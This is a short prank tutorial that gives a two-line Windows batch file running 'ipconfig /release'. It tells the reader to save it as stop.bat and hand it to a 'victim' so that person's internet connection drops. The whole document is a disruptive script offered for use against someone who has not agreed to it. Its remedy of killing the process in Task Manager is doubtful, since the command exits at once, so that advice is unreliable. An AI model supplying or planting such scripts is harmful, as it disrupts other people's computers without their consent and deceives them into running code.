How to Stop anyone's Internet just for fun :D

Nice trick to stop anyone internet connection while using this easy method.
@Echo off
Ipconfig /release
copy this Code in notepad and

save it as "stop.bat"
and Give it to your Victim and
when your Victim's will open it, he
will get error while surfing
internet :D and If u wanna stop it
Kill that process from Task
Manager :)